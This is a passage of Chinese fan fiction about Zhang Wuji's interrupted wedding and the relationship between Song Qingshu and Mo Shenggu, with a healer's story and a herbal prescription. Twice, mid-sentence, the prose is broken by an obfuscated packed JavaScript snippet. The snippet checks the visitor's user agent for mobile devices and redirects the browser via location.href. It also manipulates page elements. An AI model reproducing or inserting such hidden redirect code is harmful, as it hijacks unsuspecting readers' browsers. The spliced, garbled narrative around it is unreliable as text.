明教总坛张灯结彩,锣鼓喧天。广场上早已人山人海,江湖各派前来观礼的宾客络绎不绝,峨眉、崆峒、华山、昆仑……六大派除少林闭寺未至,其余皆派了代表前来。明教弟子穿梭其间,引座奉茶,秩序井然。 婚礼前两个时辰。 正厅内,红烛高烧,喜字贴满。张无忌身着大红喜服,站在厅前,面上带着笑意,却隐约透着几分紧张。他身旁,周芷若身姿婀娜,静静而立。 厅内厅外摆了上百桌,珍馐美馔,琼浆玉液,宾客推杯换盏,笑语喧哗。张无忌换挨桌敬酒,到武当这一桌时,已微有醉意。 “大师伯、二师伯、六师叔、七师叔,”他举杯,目光诚恳,“无忌今日成婚,多谢各位师长前来。” 宋远桥起身,将张三丰的卷轴郑重递上:“这是你太师父亲笔所书,赠你与周姑娘。” 张无忌双手接过,展开一看,“佳儿佳妇”四字映入眼帘。他喉头一哽,眼中泛起水光:“太师父……” “师父年事已高,不便远行,但他心中一直挂念你。”俞莲舟温声道,“无忌,愿你与周姑娘琴瑟和鸣,白首同心。” “多谢二师伯。”张无忌深深一揖。 他的目光又落在宋青书身上,他此刻安静地坐在那里,一身青衫,眉目清朗,竟有种说不出的淡然出尘。 “青书师兄,”张无忌举杯,“多谢你来。” 宋青书起身,端起酒杯。他的动作不疾不徐,神情平和:“无忌,祝贺你与周姑娘喜结连理,愿你们白头偕老,永结同心。” 这话说得十分真诚。 “谢谢青书师兄。”张无忌将酒一饮而尽,酒液滚烫,一路烧到心里。 他不知道这突如其来的酸楚从何而来。是对什么还有遗憾吗?还是……某种连他自己也说不清的情绪? 周芷若穿着红色衣裙,妆容精致,眉目如画。行走间裙裾轻扬,环佩叮咚,引得满堂宾客纷纷侧目。 她先敬了明教诸位首脑,又敬了各派掌门,最后来到武当这一桌。 “宋掌门,俞二侠,殷六侠,莫七侠,”周芷若举杯,声音清越,“多谢各位前来。” 她的目光在武当诸侠脸上一一扫过,最后,落在了宋青书身上。 那一瞬间,时间仿佛凝固了。 周芷若看着眼前的宋青书。他穿着简单的青衫,身形清瘦,面色仍有些苍白,他就那样站着那里,眼神清澈,嘴角带着礼节性的微笑,全然是祝福的姿态。 你就对我没有半点心思吗? 不知为何,周芷若心中猛地一刺。 “宋师兄,”周芷若听见自己的声音,比想象中更平稳,“多谢你来。” 宋青书举杯:“周姑娘,恭喜。” 两人酒杯轻碰,一饮而尽。酒是上好的女儿红,入口醇厚,回味绵长,可周芷若却觉得满口苦涩。 她不该有这种感觉的。她明明得到了想要的一切——嫁给了张无忌,成为了明教教主夫人,将来甚至可能成为皇后,母仪天下。这是她筹谋多年、费尽心机才得到的,是她真正想要的人生。 宋青书算什么?不过是一个微末的排不上号的旧识罢了。他给不了她权势,给不了她地位,给不了她万民敬仰、朝拜的荣光。 可为什么,看着他如此平静地祝福她,她的心里会这样不是滋味? 就好像……就好像失去了什么很重要的东西,虽然那东西她从未真正拥有过,也从未真正想要过。 “芷若?”张无忌的声音在身旁响起,带着关切,“你没事吧?脸色有些不好。” 周芷若猛然回神,对上张无忌担忧的眼神。她深吸一口气,压下心中那莫名的酸楚,展颜一笑:“没事,只是酒有些上头。” 她伸手,轻轻挽住张无忌的手臂。这个动作自然而亲密,是在向所有人宣告他们的关系,也是在向自己确认自己的选择。 张无忌点头,便与周芷若相携离去。 转身的刹那,周芷若没有回头。她挺直脊背,一步步走向下一桌宾客,脸上挂着得体而幸福的笑容。凤冠霞帔,郎才女貌,他们是今日最耀眼的一对,也将是未来最显赫的伉俪。 这就够了。周芷若在心中告诉自己。 她要的是权势,是地位,是能够站在万人之上、俯瞰众生的未来。宋青书给不了她这些,张无忌可以。 所以,她选对了。 婚礼正式开始。 礼官高唱:“一拜天地——” 新人转身,对着门外天地深深一拜。 “二拜高堂——” 因张翠山夫妇早逝,张三丰又未亲至,高堂位上只摆着张翠山与殷素素的灵位。张无忌看着父母的牌位,眼圈微红,与周芷若并肩拜下。 宋青书坐在武当那一席,手中把玩着酒杯,目光平静地扫过满堂喜庆。他的位置靠边,能清楚地看到主桌的情形,也能看到厅外庭院中悬挂的层层红绸,在晚风中轻轻飘荡。 莫声谷坐在他身旁,看似在听俞莲舟与殷梨亭说话,实则余光始终留意着宋青书。见他又一次望向主桌,莫声谷的眉头几不可察地蹙了蹙,端起酒杯抿了一口。 难道青书一直在压抑自己的情感?他对周芷若是有意的? “夫妻对拜——” 就在这时,厅外忽然传来一阵骚动。 起初只是几声低呼,随即迅速蔓延开来,如同石子投入平静湖面,涟漪扩散。宾客们纷纷转头望向厅门,交谈声渐渐低了下去。 “怎么回事?”宋远桥放下酒杯,沉声问道。 一名明教弟子匆匆跑进厅内,脸色煞白,径直冲到张无忌面前,压低声音急急禀报。距离虽远,但以武当诸侠的耳力,仍能听见只言片语:“……赵姑娘……硬闯……” 张无忌的脸色变了。 周芷若也伸手轻轻拉住张无忌的衣袖,声音温柔却清晰:“无忌,怎么了?” 张无忌没有回答。他的眼睛死死盯着厅门方向,脸色变幻不定,有震惊,有慌乱,还有一丝……连他自己都没察觉到的挣扎。 下一刻,答案揭晓。 一道窈窕身影出现在厅门口。 她穿着蒙古贵女的服饰,锦袍绣带,发髻高挽,额前垂着细碎的珍珠流苏。没有红妆,没有喜服,只是一身素雅的月白色,在满堂红绸的映衬下,反而格外醒目。 赵敏。 她就那样站在门口,身后跟着玄冥二老和几名王府武士,与满厅宾客对峙。她的脸上带着惯常的、似笑非笑的神情,眼神却锐利如刀,直直刺向张无忌。 满堂死寂。 针落可闻。 所有人都认出了这位汝阳王府的郡主,蒙古第一美人,也是明教最大的对手之一。她出现在这里,在这个时间,以这种方式——几乎所有人都瞬间明白了她的来意。 抢亲。 这个认知让厅内气氛陡然紧绷。明教弟子纷纷按上兵器,各派宾客也暗自戒备,武当诸侠交换了一个凝重的眼神。 宋青书垂下眼帘,看着杯中晃动的酒液。 “赵姑娘,”张无忌终于开口,声音干涩,“你这是……” “我来抢亲。”赵敏打断他,声音清脆,响彻满厅。她说得如此直接,如此坦然,反倒让所有人都愣住了。 周芷若的脸色瞬间苍白如纸。她紧紧攥着张无忌的衣袖,指甲几乎要嵌进他的皮肉里。 “赵姑娘,”周芷若上前一步,挡在张无忌身前,声音竭力保持平稳,“今日是我与无忌大婚之日,你若来贺,我们欢迎。若是有别的想法,还请自重。” “自重?”赵敏轻笑一声,那笑声里带着说不出的讥诮,“周姑娘,你以诡计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109882|195845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗得婚约,以权谋嫁入明教,如今倒来跟我谈自重?” 这话如惊雷炸响,厅内顿时一片哗然。 赵敏目光一直落在张无忌脸上:“张无忌,我只问你一句——你当真要娶她?” 张无忌张了张嘴,却发不出声音。他看着赵敏,看着她眼中那熟悉的、倔强的光芒,看着她孤身一人闯入这龙潭虎穴的决绝,心中乱成一团。 他应该立刻斥责她,应该让人将她“请”出去,应该维护周芷若的颜面,维护这场婚礼的尊严。 可连他自己也不知自己的心究竟在谁的身上。 “我……”张无忌的声音嘶哑。 “无忌!”周芷若厉声打断他,转过身,面对张无忌,眼中已含了泪光,“今日是我们大婚之日,满堂宾客看着,武当长辈看着,太师父的祝福还在那里——”她指向厅中悬挂的“佳儿佳妇”卷轴,“你要让所有人看我们的笑话吗?” 这话说得诛心。张无忌浑身一震,看向那四个大字,看向武当诸侠凝重的面容,看向满厅宾客各异的神色。 责任感、愧疚感、还有对周芷若的承诺,如重重枷锁将他困住。 赵敏看着他的挣扎,眼中的光芒一点点黯淡下去。她忽然笑了:“好,我明白了。” …… 赵敏以金毛狮王谢逊的下落作饵,将张无忌引了出去。 然后是新妇素手裂红裳。 徒留下众宾客面面相觑。 宋青书静静看着这一切。他看到周芷若眼中闪过的慌乱与狠厉,看到张无忌脸上的痛苦与左右摇摆,看到赵敏转身时那一瞬间的落寞。 他早已经从书中看到了这场婚礼的结局。 结果好像无法改变,那么七叔呢?他已经改变了七叔的结局了,那还是可以改变的。 宋青书看到自己身边,莫声谷的手不知何时已按上了剑柄,身体微微前倾,是一个随时准备出手保护的姿态。 那姿态保护的,是他。 宋青书心中一动,侧头看去。莫声谷正凝神关注着厅中局势,侧脸线条紧绷,下颌微收,是高度戒备的状态。感受到宋青书的目光,他微微偏头,低声道:“别怕,有七叔在。” 声音很轻,却带着不容置疑的坚定。 七叔似乎有点草木皆兵了,不过成昆的手段确实很高明,有可能宾客之中有他的人。 宋青书忽然觉得,眼前这场闹剧,似乎也没那么重要了。 回别院的路上,夜色已深。街巷寂静,只有秋风卷着落叶,发出沙沙声响。武当五人沉默走着,各怀心事。 “那赵敏郡主,倒是性情中人。”殷梨亭忽然开口,打破了沉默,“只是行事太过决绝,不留余地。” “她若留余地,便不是赵敏了。”俞莲舟淡淡道。 宋远桥叹了口气:“只是无忌就这样一走了之,周掌门那边……恐怕不能善了啊?” 莫声谷没有说话。他的目光落在身侧的宋青书身上,见他一直沉默,不由问道:“青书,你在想什么?” 宋青书回过神,轻声道:“我在想,赵姑娘其实很勇敢也很能干。” “勇敢?能干?” “嗯。”宋青书点头,“明知不可为而为之,明知会受伤仍要来,明知会难堪仍要说。这份勇气,不是谁都有的。最终将无忌带走,又很能干。” 他说这话时,语气平静,眼神却有些悠远。莫声谷看着他的侧脸,忽然想起那日宋青书为救他,不顾反噬结印的情景。 那也是一种明知不可为而为之的勇敢。 “那你觉得,”莫声谷低声问,“张无忌该选谁?” 宋青书沉默片刻,摇头:“我不知道。感情的事,外人说不清。”他顿了顿,又道,“但我知道,若真心喜欢一个人,就不该让她那样离开。” 这话说得很轻,却让莫声谷心中一震。 他看向宋青书,月光下,那张清俊的脸上带着淡淡的疲惫,眼神却清澈如秋水。这一刻,莫声谷忽然无比清晰地意识到——眼前这个人,是一个有着自己思想、自己判断的、完完整整的人。 一个……让他心绪难平的人。 回到别院,各自回房。宋青书洗漱后躺在床上,却毫无睡意。他睁着眼,看着床顶的帐幔,脑海中反复回放着今晚的一幕幕。 赵敏决绝的背影,周芷若苍白的脸,张无忌空洞的眼神。 还有……七叔那句“别怕,有七叔在”。 宾客陆续离去,武当诸侠也回到别院。宋远桥、俞莲舟、殷梨亭明日便要启程回山,此刻正在房中收拾行装。 宋青书独自站在庭院中,望着天边渐沉的夕阳。春日的晚霞格外绚烂,将半边天空染成金红,云层如锦,流光溢彩。 身后传来脚步声,很轻,但他能听出来是谁。 “七叔。”宋青书没有回头。 莫声谷走到他身边,与他并肩而立。两人沉默地看着夕阳,任晚风拂动衣袂。 良久,宋青书轻声开口:“七叔,你说人这一生,究竟什么才是最重要的?” 莫声谷没有立刻回答。他望着天边,眼神深邃:“不同的人,有不同的答案。对有些人来说,是权势地位;对有些人来说,是武道巅峰;对有些人来说,是家国天下。”他顿了顿,侧头看向宋青书,“但对另一些人来说,可能只是……一个人,一件事,一段时光。” 宋青书转头,对上他的目光。暮色中,莫声谷的脸庞半明半暗,那双眼睛却格外清晰,里面映着晚霞,也映着他的倒影。 “那七叔呢?”宋青书问,“七叔觉得什么最重要?” 莫声谷静默了片刻。晚风吹过,庭院里的秋菊轻轻摇曳,散发出淡淡的香气。 “以前觉得,是行侠仗义,是守护武当。”他的声音很低,却很清晰,“现在觉得……或许还要加上别的。” 他没有说加上什么。 夕阳终于沉入远山,天际只余一抹残红。庭院里的灯笼次第亮起,暖黄的光晕驱散了暮色。 “进去吧,夜里风凉。”莫声谷道。 宋青书点头,两人并肩走回屋内。烛光下,影子在地上拉长,交叠,又分开。 64. 此生一诺骨中叹3 晚春,襄阳城西永平坊的柳絮依旧纷纷。程青娘坐在小院门槛上梳理银发时,坊口来了一行风尘仆仆的旅人。 为首的是个青衣道人,背负长剑,面容清矍,约莫四十余岁年纪,他身侧跟着个二十出头的青年,一袭月白长衫,身形清瘦,面色略显苍白,但一双眼睛清亮有神,顾盼间自有不凡气度。 正是莫声谷与宋青书。 自濠州婚礼后,两人并未随武当诸侠直接回山,而是缓缓而行,一路游历。莫声谷想带宋青书多看看山河,主要是散心,宋青书知他心意,一路相伴,两人行走江湖,倒真有几分逍遥自在。 行至长安,听闻永平坊有位女郎中,医术高明,更有一段已经等待五十载的传奇。莫声谷心中微动,看向宋青书:“去看看?” 宋青书点头:“七叔想去,便去。” 此刻站在坊口,两人看着那棵高大的苦楝树,淡紫细碎的花瓣随风飘落,树下坐着梳头的白发老妪,时光仿佛在这里凝固成画。 “二位是来瞧病的?”邻家娘子抱着孩子路过,见他们驻足,热心问道。 莫声谷抱拳:“听闻坊中有位程先生,医术高明,特来拜访。” “程婆婆在那呢,”娘子指向树下,“不过她如今不大接诊了,二位若是急症……” “无妨,我们只是慕名而来。”宋青书温声道。 两人走到院前,程青娘抬起头来。岁月在她脸上刻满沟壑,但那双眼睛依旧清澈,看向人时,仿佛能看透心底。 “两位道长从何处来?”她放下木梳,声音温和。 “武当山。”莫声谷答道,“路过长安,听闻先生之事,特来拜访。” 程青娘笑了笑:“我一个老婆子,有什么好拜访的。倒是二位,风尘仆仆,进来喝口茶吧。” 小院简朴,却收拾得干净整齐。院中石桌上摆着茶具,程青娘亲自沏茶。宋青书目光扫过院子,看见墙角晾晒的药材,屋檐下悬挂的药杵,还有那棵苦楝树下并排放着的两个蒲团——显然常有人对坐。 “先生一个人住?”莫声谷问道。 “一个人。”程青娘将茶盏推至二人面前。 她说话时神态平和。 宋青书心中微动,轻声问道:“听闻先生等了五十年?” “五十二年。”程青娘纠正,从怀中取出一个旧荷包,倒出几茎青丝,“从十四岁等到现在。” 她说得轻描淡写,仿佛在说别人的故事。莫声谷却听得心头一震,不由看向身旁的宋青书。 宋青书正低头看着杯中茶汤,水面倒映着他的面容。他忽然开口:“值得吗?” 程青娘没有直接回答,而是起身从屋内取出一个木盒。盒中放着一支木簪,一支旧得发黑,雕工稚嫩,还有一支银簪,簪头是并蒂莲。 “这支,”她拿起旧木簪,“是他十四岁那年,在曲江边送我的海棠簪。他说‘青娘,等我’。” “这银簪,是他十七岁去江南前,打了三个月零工换的。他说‘青娘,我一定回来娶你’。” 她将两支簪子一一放回,合上盒盖:“你们问我值得吗?我觉得值。因为等待的不是一个结果,而是一个承诺。他承诺回来,我承诺等待——我做到了,这就够了。” 莫声谷沉默良久。 程青娘微笑,“我等的是他,也是那个愿意等待的自己。不等,我会后悔一辈子;等了,没等到,我也不悔。” “不悔”二字,她说得掷地有声。 宋青书猛然抬头,眼中有什么东西被触动。 程青娘看着两个年轻人,目光在两人之间流转,忽然笑了:“二位道长,不是寻常师徒吧?” 莫声谷心中一紧,面上却不动声色:“先生何出此言?” “老身活了六十八年,见过的人多了。”程青娘端起茶盏,轻啜一口,“师徒之间,有恭敬,有亲近,但二位之间……有牵挂。” 她说得含蓄,但莫声谷听懂了。他张了张嘴,想辩解,却不知从何说起。 宋青书却坦然道:“先生慧眼。七叔于我,是师长,是恩人,更是……”他顿了顿,“是重要的人。” 他没有说“最重要”,但那个停顿,已经说明了一切。 程青娘点点头,不再深问,转而说起医理药性。她行医五十载,经验丰富,许多见解连莫声谷都觉耳目一新。宋青书更是听得专注,不时提问,两人竟聊得投机。 不知不觉日影西斜。程青娘留二人用饭,饭菜简单,一碟青菜,一碗豆腐,两样腌菜,却清爽可口。 饭后,程青娘忽然道:“二位若不嫌弃,可在西厢房暂住一宿。老身有些医书手札,或许对这位小道长有益。” 她看向宋青书,眼神中有种说不出的深意。宋青书看向莫声谷,见他点头,便应下了。 西厢房只有一张榻,但很宽敞。莫声谷让宋青书睡里侧,自己在外侧和衣而卧。月光透过窗棂洒进来,在地上投下斑驳光影。 “七叔,”宋青书轻声开口,“你觉得程先生的故事,是真的吗?” “真的。”莫声谷答道,“她的眼睛不会说谎。” “五十二年……一个人能有几个五十二年?”宋青书声音更低,“她等了一辈子,还不知道等不等得到,值得吗?” 莫声谷没有立刻回答。他望着屋顶的横梁,良久,才缓缓道:“若她在等待的时光里都是快乐的,那就值得。” “等待也是……快乐的……”宋青书喃喃重复。 “就像……”莫声谷侧过头,看向宋青书。月光下,青年的侧脸轮廓柔和,睫毛在眼睑投下浅浅阴影,“就像有些人,哪怕只能相伴一程,也是值得的。” 宋青书心头剧震,也侧过头来。两人在黑暗中四目相对,呼吸可闻。 “七叔,”宋青书的声音微颤,“你……” “睡吧。”莫声谷却移开目光,替他掖了掖被角,“明日还要赶路。” 宋青书不再说话,闭上眼睛。 次日清晨,程青娘将一册手札赠予宋青书:“这是我五十年行医心得,或许对你有用。” 宋青书郑重接过:“多谢先生。” 临别时,程青娘送他们到坊口苦楝树下。晨风吹过,花瓣纷纷扬扬,落在三人肩头。 “二位道长,”程青娘忽然道,“老身多说一句——人生短暂,莫要等到白发苍苍,才敢说出真心话。不悔二字,不是说给旁人听的,是说给自己听的。” 莫声谷深深一揖:“多谢先生教诲。” 宋青书也行礼:“晚辈铭记。” 走出永平坊,长安城的喧嚣扑面而来。莫声谷与宋青书并肩走在街上,两人都沉默着,各自想着心事。 行至西市,街边茶馆里传出说书人的声音,讲的正是程青娘的故事。两人驻足倾听。 “……那程小娘子等了五十二年,从青丝等到白发,从少女等到老妪。坊邻都说她痴傻,她却道:‘不等才会后悔,等了,哪怕没等到,我也不悔!’” “好!”茶馆里有人喝彩,“这不悔二字,说得痛快!” 离开长安的第七日,莫声谷与宋青书行至商州地界。 时值暮春,山野间绿意正浓,杜鹃花开得漫山遍野,红艳艳一片。两人择了一处清幽的溪谷歇脚,准备用过干粮再行。 宋青书坐在溪边青石上,从行囊中取出沈青娘赠与的那册医书手札 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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患者年近古稀,本已气血渐衰。加之连年丧子之痛,邻里凋零之悲,思虑过度,损伤心脾。心主血脉,藏神志;脾主运化,统气血。心脾两伤,故见心悸、多梦、纳差、消瘦。 肝气郁结,横逆犯脾,故脘腹胀满,不思饮食。气郁日久,暗耗阴血,故形销骨立,脉细如丝。 舌淡苔白,齿痕明显,乃脾虚湿盛之象。脉象左关弦细,右寸浮虚,正是肝郁脾虚、心气不足之征。 诊断:心脾郁结证(虚郁相兼) 治则:健脾养心,疏肝解郁,佐以安神 方药:归脾汤合逍遥散加减 白术三钱,茯苓三钱,黄芪二钱,龙眼肉二钱,酸枣仁二钱(炒),远志一钱半,木香一钱,当归二钱,白芍二钱,柴胡一钱半,薄荷五分(后下),炙甘草一钱。 生姜三片,大枣三枚为引。 煎服法: 水煎两次,兑匀,分早晚温服。忌食生冷油腻,勿思虑过度。 宋青书心中一动,想起李家村那个失去妻子的陈老汉。他的妻子也叫阿秀……会是巧合吗? 他加快翻页速度。最后一页,不是文字,而是一张人物画像。 纸是上好的宣纸,画工精细,用墨勾勒,再以淡彩渲染。画中人是个年轻人的模样,头戴斗笠,身穿粗布短褐,面容,但眉眼之间…… 宋青书的手猛地一颤,纸张险些脱手。 这眉眼,这轮廓,这神情——分明就是李家村那个陈老汉! 画像旁还有一行小字: “不悔今朝是别离, 花枝欲谢已多时。 无端又惹回肠处, 只道郎行未有期。” 宋青书呆住了。 65. 几分真意几分瞒 雨是在黄昏时分下起来的。 起初只是细密的沙沙声,敲在武当后山层层叠叠的绿瓦上,像无数蚕在啃食桑叶。渐渐便大了,扯成白茫茫一片雨幕,笼罩着青峰,将练武场、石阶、乃至远处隐在云雾里的宫殿,都洇成了深浅不一的墨色。空气里弥漫着土腥气和松针被雨水打湿后清冽的苦味。 宋青书站在自己房门口,没有点灯。屋内一片昏暗,只有窗外漏进的天光,勉强勾勒出桌椅模糊的轮廓。他就这么站着,视线落在檐角挂下的水帘上,听着那连绵不绝、几乎要淹没一切的哗哗声。 这雨声……很像。 很像前世最后那段时日,他常常听见的声音。不是武当山清冽的雨,是带着铁锈和血腥气的,粘稠的,总也下不完的雨。 他打了个寒颤,指尖冰凉。 这几天,他一直在躲着莫声谷。晨起练剑,他刻意迟些,估摸着莫声谷已经去了演武场才出门;用饭时,总是寻个离莫声谷最远、又不起眼的角落;议事、巡山、甚至只是路上远远瞥见那个挺拔刚硬的身影,他都会立刻调转方向,宁可绕远路,也要避开。 起初或许只是下意识地不愿面对,是那份日益沉重的愧疚压得他喘不过气。莫声谷看他时的眼神,越来越深,里面翻涌着他上辈子迟钝未曾察觉、这辈子却清晰洞见的东西。那是远超师叔侄情分的东西,滚烫、执着,甚至带着点不顾一切的蛮横。以前那些被他忽略的细节——塞到他手里的伤药总是最好的,看似严厉实则处处留手的回护,偶尔落在他肩头又迅速移开、带着薄茧的温热手掌……如今都成了灼人的证据。 他躲,不仅因为无法回应,更因为那眼神像一面镜子,照出他灵魂上的污迹。他在还债,用谨小慎微,用毕恭毕敬,用一切不越雷池的周全,去偿还前世那一剑穿胸的血债。可莫声谷那双眼,那越来越不加掩饰的情愫,却在无声地告诉他:你要还的,或许远不止一条命那么简单。 这认知让他恐惧,只能像受惊的兽一样,竭力将自己藏进名为“师侄”的壳里。 可武当山就这么大,同门师叔们又都不是瞎子。 二叔俞莲舟最先察觉,一次早课后将他留下,剑眉微蹙:“青书,你近日似乎心神不属,可是身体又有什么不舒服?与你七叔……可是有什么不睦?”他问得含蓄,目光却锐利。 宋青书垂着眼,盯着自己鞋尖上溅到的泥点:“没有,二叔。只是……有些倦怠。” 俞莲舟看了他片刻,没再追问,只拍了拍他的肩:“若有难处,记得还有我们这些叔叔。” 然后是四叔张松溪。那是在账房核对采买单子时,张松溪拨着算盘,状似无意地提起:“青书,前日你七叔寻你,怎的没见你去?他等了半晌。” 宋青书脊背一僵,笔下墨迹差点洇开:“侄儿……侄儿那日正好在整理草药,一时忘了。回头定去给七叔赔罪。” “赔罪倒不必。”张松溪抬眼,镜片后的目光温和却通透,“只是,莫要生了误会才好。” 误会? 宋青书心里发苦。不是误会,是血淋淋的事实,是隔了生死、再也无法单纯的事实。 殷梨亭说这话时,脸上带着显而易见的担忧和不解:“青书,你七叔性子是直了些,火爆了些,可待你如何,大家心里都清楚。你到底……在避他什么?” 宋青书只能摇头,抿紧嘴唇,一个字也吐不出。他能说什么?说上辈子我杀了他?说这辈子我对他只有愧疚?说他的感情让我无地自容? 他什么都不能说。这沉重的秘密,这肮脏的前世,注定只能由他一个人腐烂在心底。 窗外雨势毫无转弱的迹象,反而愈发滂沱,砸在瓦上发出沉闷的鼓点般声响。天色完全黑透了,只有廊下偶尔挂着的灯笼,在风雨中飘摇,投出晃动的、昏黄的光晕,勉强照亮门前一小片湿漉漉的石板地。 时候不早了,该歇息了。 就在门扉即将合拢的刹那—— 一只湿透的手,猛地从门外黑暗中伸出,铁钳般扣住了门板边缘! 雨水顺着那只手的手腕、手背淋漓淌下,骨节因为用力而微微泛白。紧接着,一个高大挺拔、却浑身蒸腾着水汽与寒意的身影,挟着风雨,一步跨了进来! “七……”宋青书瞳孔骤缩,剩下那个“叔”字卡在喉咙里。 是莫声谷。 他显然在雨里走了不短的路,甚至可能站了许久。黑色劲装紧紧贴在身上,勾勒出精悍的线条,发髻被雨水冲得有些散乱,几缕湿发贴在额角和冷峻的脸颊边。雨水顺着他刀削般的下颌不断滴落,可他浑不在意。那双总是明亮锐利、此刻却翻涌着骇人风暴的眼睛,死死盯住宋青书,像是要在他身上剜出两个洞来。 屋外狂风卷着雨丝扑进来,吹得桌上未压好的纸页哗啦作响,也吹得宋青书周身发冷。 “七叔,”宋青书强迫自己镇定下来,垂下眼睫,避开那几乎要将他点燃的视线,声音努力维持着晚辈的恭谨,“雨这么大,您怎么过来了?快请进,侄儿给您找件干爽衣物……” 他侧身想让开,想去取搭在屏风上的外袍,甚至想为对方倒一杯热茶——做点什么都好,只要能打破这令人窒息的对峙,只要能回到“师叔侄”安全的距离。 可他刚一动,莫声谷动了。 动作快如闪电,带着一股压抑到极致的暴烈。他反手“砰”一声将门重重撞上,隔绝了外面所有的风雨声,也将屋内最后一点天光彻底掩去。黑暗中,宋青书只觉一股巨大的力量袭来,天旋地转,后背狠狠撞上冰冷的墙壁,震得他五脏六腑都似挪了位,眼前金星乱冒。 未及痛呼出声,一只湿冷的大手已扼上他的脖颈,没有用力收紧,却带着绝对的控制和不容挣脱的意味,将他死死钉在墙上。另一只手撑在他耳侧的墙壁,彻底封死了他所有去路。 浓烈的雨水气息、男性躯体运动后的热力,还有一股……近乎绝望的怒意,混合成极具侵略性的存在感,将宋青书密不透风地包裹、挤压。 “躲我?” 莫声谷的声音嘶哑得厉害,每个字都像是从紧咬的牙关里磨出来的,滚烫地砸在宋青书脸上。他迫得更近,鼻尖几乎要碰到宋青书的,那双燃着暗火的眼睛在咫尺之遥逼视着他,呼吸粗重而滚烫。 “宋青书,你看着我!” 宋青书被迫抬起眼。黑暗中,他看不清莫声谷的全部 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“你知道我这几天怎么过的吗?”莫声谷的声音低下去,却更加骇人,像濒临断裂的弓弦,“我反复想,我是不是哪里做错了,说错了,惹你生气了。我想找你问清楚,可你连一个眼神都不肯给我!宋青书,你就算要判我死刑,也该给我个罪名!” “我没有……”宋青书心如刀绞,愧疚像潮水灭顶而来。他看见莫声谷眼底深处,那被强硬外壳包裹着的、一丝不易察觉的脆弱与惶惑。这个人,刚正不阿、宁折不弯的莫七侠,何曾有过这样的神情? 都是为了他。 前世最终死在他掌下。 今生为了他,煎熬若此。 可他能说什么?他能给的,除了更多的伤害,还有什么? “七叔,您对我很好,是侄儿……不配。”他闭上眼,狠下心肠,吐出最伤人也最安全的话,“您是师叔,我是师侄,仅此而已。请您……自重。” “自重?”莫声谷像是被这两个字狠狠刺了一下,扼着宋青书脖颈的手猛地收紧了一瞬,又强迫自己松开,指节捏得咯咯作响。他忽然低低地笑起来,笑得肩头耸动,笑得比哭还难听。 “好一个‘自重’,好一个‘仅此而已’!”他笑声戛然而止,头猛地低下,额头几乎抵住宋青书的,滚烫的呼吸交错,声音压得极低,却字字如淬毒的钉子,钉进宋青书的耳膜,钉进他的灵魂—— “宋青书,你上辈子杀我一次……” 宋青书浑身剧震,如遭雷击,猛地睁大眼睛,难以置信地看向近在咫尺的这双眼睛。黑暗里,那眼底有什么东西碎裂开来,露出底下鲜血淋漓的真实。 莫声谷盯着他骤然收缩的瞳孔,看着血色从他脸上褪尽,看着他所有的掩饰和防线在这一刻土崩瓦解,心中竟升起一股近乎残忍的快意,混合着更深的痛楚。他一字一顿,完成了那句判词: “……这辈子,还想再杀第二次吗?” 雨,在屋外疯狂敲打。 屋内,死一般的寂静。 只有两人交错缠绕、同样紊乱不堪的呼吸声,还有那无声蔓延的、前世今生的血腥气,与冰冷绝望。 …… 宋青书猛地从榻上弹坐起来,胸口剧烈起伏,冷汗顺着额角滑落,浸湿了鬓边的发丝。 方才的噩梦还在眼前盘旋。 可现在,他不敢回头。 66. 几分真意几分瞒2 “青书师兄,你的药渣弄出来了。”一个温和的声音在身侧响起。 宋青书手一抖,心跳满了半拍。 他深吸一口气,转身。 “七叔。” 莫声谷不知道何时站在他身侧,一身青衫,面容清矍。他的眼神依旧温和,可宋青书却在那温和之下,看见了某种压抑的、几乎要溢出来的东西。 “这几日,你似乎在躲着我。”莫声谷开门见山,声音很轻,只有两人能听见。 宋青书心头一紧,握剑的手更用力了些:“没有,只是……程先生所赠医术有不明,在思索。” “是吗?”莫声谷看着他,目光深邃,“那为何用膳时总坐得最远?为何我找你说话,你总是匆匆几句便告辞?为何……” 他顿了顿,声音更低:“为何连看都不敢看我?” 宋青书喉咙发干。他垂下眼帘,盯着地面青石板上的一道裂痕:“七叔多心了。我只是……只是累了。” “累了?”莫声谷轻笑一声,那笑声里带着说不出的苦涩,“青书,你可知你撒谎时,左手拇指会不自觉地摩挲衣袖?” 宋青书僵住了。他低头看向自己的手,果然,左手正无意识地摩擦着右边的衣袖。 这个习惯,连他自己都没注意到。 可七叔注意到了。 这意味着什么?意味着七叔观察他,细致入微到了这种程度。这不是师叔对师侄的关心,这是一个人对心上人的…… 宋青书猛地后退一步,拉开距离:“七叔,我该去理药了。” 他转身划破凝固空气,每一步都透着仓皇。 莫声谷站在原地,看着他几乎要逃开的背影,眼中有什么东西破碎了。他缓缓转身,默默走开,背影在晨光中显得格外孤寂。 宋青书用余光瞥见七叔离开,心中松了口气,可随即又是一阵刺痛。 他伤害七叔了。 就像前世一样,他总是在伤害七叔。前世是直接的背叛与杀害,今生是隐晦的回避与辜负。 可他没办法。 他没办法回应那份感情,因为那不是他欠七叔的债。他要还的债是前世之仇,不是情债。 情债,他还不清,也给不起。 宋青书离开武当那天,天还没亮透。山间的晨雾像浸了水的纱,沉甸甸地裹着青石阶,路旁的草叶上凝着露,很快打湿了他的鞋袜和袍角。他没有惊动任何人,只在父亲宋远桥房外的石桌上,留了一封简短的信。 信上墨迹未干,是他惯常的工整笔迹,内容却写得潦草,只说听闻母亲近日身上不大爽利,心下记挂,已向几位师叔告过假,要下山去探望母亲,住些时日便回,请父亲勿念。 